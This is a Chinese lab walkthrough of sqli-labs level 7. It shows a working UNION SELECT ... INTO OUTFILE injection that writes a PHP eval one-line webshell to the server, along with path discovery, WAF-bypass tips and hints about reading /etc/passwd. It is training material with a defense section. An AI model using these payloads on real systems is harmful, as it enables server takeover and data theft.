sqli-labs第七关通关详解:利用into outfile实现文件上传与一句话木马植入

张开发
2026/4/24 4:57:25 15 分钟阅读

分享文章

sqli-labs第七关通关详解:利用into outfile实现文件上传与一句话木马植入
1. 环境准备与前置知识在开始sqli-labs第七关的实战之前我们需要先搭建好实验环境并理解几个关键概念。这个关卡的特殊之处在于它结合了SQL注入和文件上传漏洞通过into outfile函数将一句话木马写入服务器最终实现远程控制。首先说说文件上传漏洞。简单理解就是网站的上传功能没有做好安全检查导致攻击者可以上传恶意文件。就像小区门禁系统如果只检查访客是否携带物品却不检查物品内容坏人就能把危险品带进去。常见的危险文件就是webshell网站后门而一句话木马则是webshell中最轻量的一种。PHP一句话木马的核心代码通常长这样?php eval($_POST[pass]); ?这行代码的意思是执行通过POST传递的pass参数中的PHP代码。eval函数会把字符串当作PHP代码来执行这就给了攻击者极大的操作空间。要成功利用这个漏洞需要满足三个关键条件数据库用户需要有FILE权限通常是root用户知道网站的绝对路径MySQL的secure_file_priv参数设置为空配置环境时我们需要修改MySQL配置文件通常是my.ini或my.cnf找到secure_file_priv这一项将其值设为空字符串然后重启MySQL服务。这个参数默认可能会限制文件导出路径设为空表示允许导出到任意位置。2. 注入点判断与闭合方式第七关的注入点判断比前几关要复杂一些。我们先尝试经典的and 11和and 12测试发现页面响应没有变化这说明不是简单的数字型注入。接着尝试字符型注入测试输入id1出现错误输入id1页面正常 这说明可能是单引号闭合。但当我们尝试id1--时错误依然存在说明不是简单的单引号闭合。经过多次尝试最终发现正确的闭合方式是双括号id1))--这个闭合方式比较少见它对应着后端代码可能是这样的结构$sql SELECT * FROM users WHERE id((.$_GET[id].)) LIMIT 0,1;理解闭合方式非常重要因为后续的注入语句都必须符合这个语法结构才能成功执行。这也是为什么很多新手会卡在这一步——如果没有正确判断闭合方式后面的注入都会失败。3. 获取网站绝对路径要使用into outfile写入文件我们必须知道网站的绝对路径。有几种常见的方法可以获取路径通过报错信息有时错误信息会暴露路径使用load_file()函数读取配置文件查询数据库变量select basedir利用已知信息推测比如常见的/var/www/html等在sqli-labs环境中我们可以通过查询datadir来获取线索id1)) union select 1,datadir,3--返回的结果可能是C:/tools/phpstudy_pro/MySQL/data/根据这个我们可以推测网站路径可能在C:/tools/phpstudy_pro/www/下。另一个技巧是利用靶场前面的关卡。比如第二关通常会显示完整路径我们可以先通关第二关获取路径信息再回到第七关使用。4. 构造并写入一句话木马有了绝对路径后就可以构造注入语句写入webshell了。核心语句如下id1)) union select 1,?php eval($_POST[cmd]); ?,3 into outfile C:/tools/phpstudy_pro/www/sqli-labs/Less-7/shell.php--这里有几个关键点需要注意路径中的斜杠要用/或者双反斜杠\\因为单反斜杠在SQL中是转义字符文件最好保存为.php后缀确保服务器会解析其中的PHP代码写入目录需要有写权限如果执行成功访问http://靶场地址/sqli-labs/Less-7/shell.php应该能看到空白页面这是正常的因为webshell本身不输出内容。在实际渗透测试中可能会遇到各种限制魔术引号magic_quotes会转义特殊字符WAF可能会拦截关键词如eval、outfile等目录没有写权限这时就需要用到各种绕过技巧比如使用十六进制编码代替字符串使用dumpfile代替outfile分块写入文件内容5. 连接webshell与后续操作成功写入webshell后我们可以使用中国菜刀这类工具连接。在菜刀中添加URL和密码即POST参数名我们例子中使用的是cmd连接成功后就能看到服务器文件系统。通过webshell可以执行的操作包括查看、编辑、删除服务器文件执行系统命令上传下载文件数据库操作这里要特别强调这些操作只能在授权测试的环境中进行。在实际工作中发现漏洞后应该立即报告给相关负责人员而不是擅自利用。防御这类攻击的方法包括严格限制数据库用户的权限避免使用root账户配置secure_file_priv限制文件导出路径对上传文件进行严格检查和过滤定期更新和修补系统漏洞6. 其他利用方式与防御思路除了into outfileMySQL中还有一个类似的函数dumpfile两者的区别在于outfile会格式化输出适合导出数据dumpfile会原始输出适合写入二进制文件在防御方面开发人员应该使用预处理语句防止SQL注入设置上传文件白名单禁用危险函数如eval、assert等定期进行安全审计和渗透测试对于安全研究人员来说理解这些攻击手法不是为了实施攻击而是为了更好地防御。通过搭建这样的实验环境我们可以深入理解漏洞原理从而在工作中构建更安全的系统。我在实际测试中发现很多情况下即使成功注入了也会因为权限问题无法写入文件。这时候可以尝试读取系统文件获取更多信息比如/etc/passwd或配置文件寻找其他突破口。

更多文章